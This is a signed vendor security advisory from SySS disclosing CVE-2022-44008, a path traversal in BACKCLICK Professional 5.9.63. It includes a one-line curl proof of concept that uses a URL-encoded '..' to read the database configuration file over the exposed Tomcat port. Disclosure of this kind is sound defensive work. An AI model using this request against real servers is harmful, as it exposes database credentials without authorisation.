-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID:               SYSS-2022-037
Product:                   BACKCLICK
Manufacturer:              BACKCLICK GmbH
Tested Version(s):         BACKCLICK Professional 5.9.63 (On-Premises)
Vulnerability Type:        CWE-23: Relative Path Traversal
Risk Level:                Medium
Solution Status:           Unknown
Manufacturer Notification: 2022-05-25
Public Disclosure:         2022-11-14
CVE Reference:             CVE-2022-44008
Author of Advisory:        Moritz Bechler, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

BACKCLICK is a web application used for e-mail marketing and the
creation of newsletters.

The German manufacturer describes the product as follows (see [1]):

"BACKCLICK ist eine webbasierte Enterprise E-Mail Marketing Lösung und
Newsletter Software, mit der Sie online E-Mail Kampagnen und Newsletter
erstellen und an Ihre Kunden versenden können."

Due to improper validation, arbitrary local files can be retrieved by
accessing the back-end Tomcat server directly.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

Asset files are delivered using an error handler for HTTP 404 through
ImageDisplayServlet. 

While a check for directory traversal is in place, URL decoding
is performed after that check. The check can therefore be bypassed
by URL-encoding the desired path components.

Due to encoding normalization, this issue did not appear to be 
exploitable when the host is accessed through the Apache reverse proxy.
However, the Tomcat listener is also reachable over the network.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof of Concept (PoC):

The database configuration file can be retrieved over Tomcat's HTTP 
interface, for example using curl:

- -----
$ curl --path-as-is http://<internalhost>:8080/bc/assets/%2e%2e/META-INF/db-config.xml
<configuration xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.'
backclick.de/ConfigSchema config-schema.xsd"
xmlns="http://www.backclick.de/'
ConfigSchema">
<database-config>
<!-- ATTENTION: database connection needs to be configured for API in
 '
backclick.conf as well! -->

<database-type>mysql_innodb</database-type>
<host>[...]</host>
<port>3306</port>
<username>backclick</username>
<password>[...]
- ----

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Contact vendor for solution.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2022-05-25: Vulnerabilities reported to manufacturer
2022-06-28: Advisories provided again, as originals were not received
2022-07-20: Confirmation, inquiry regarding reproduction of one issue
2022-11-14: No more information received, public disclosure of vulnerabilities

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for BACKCLICK
    https://www.backclick.de/
[2] SySS Security Advisory SYSS-2022-037
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2022-037.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/responsible-disclosure-policy

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Moritz Bechler of SySS GmbH.

E-Mail: moritz.bechler@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Bechler.asc
Key ID: 0x768EFE2BB3E53DDA
Key Fingerprint: 2C8F F101 9D77 BDE6 465E  CCC2 768E FE2B B3E5 3DDA

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS website.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----

iQEzBAEBCgAdFiEELI/xAZ13veZGXszCdo7+K7PlPdoFAmNkyT8ACgkQdo7+K7Pl
PdoJ1ggAp0bPh2PGp6ZAKXsvWD8wRPc65xwvLVTXlgAP+xarIXb5O87o57MzsxjK
R66hrkN2KpyF61xAHNTEhXKitt8BKmEQAUl2ZgrB/jWj2QEllR74Iyw13msok6CR
7lHcE3MdU/6lSaddRnXIMZ1oW6rGdf9Co8zNorRx9OC1mnp42rvTPDs+66jxbX4b
Qs5SaMWnahk4LOf6Zpprjv1dHokaO1xpcCnQTocb1Dhie+d956EGPwoflwmepgXQ
cjSoOmrOdKMTLwdvFiH/Pgm0Kg8p9NhmrkuubgmfLVwIWdhTMlS5koaiIDeDymSc
06h1kPOPw/ksj4fYolvWi+QjYjldAQ==
=fyIi
-----END PGP SIGNATURE-----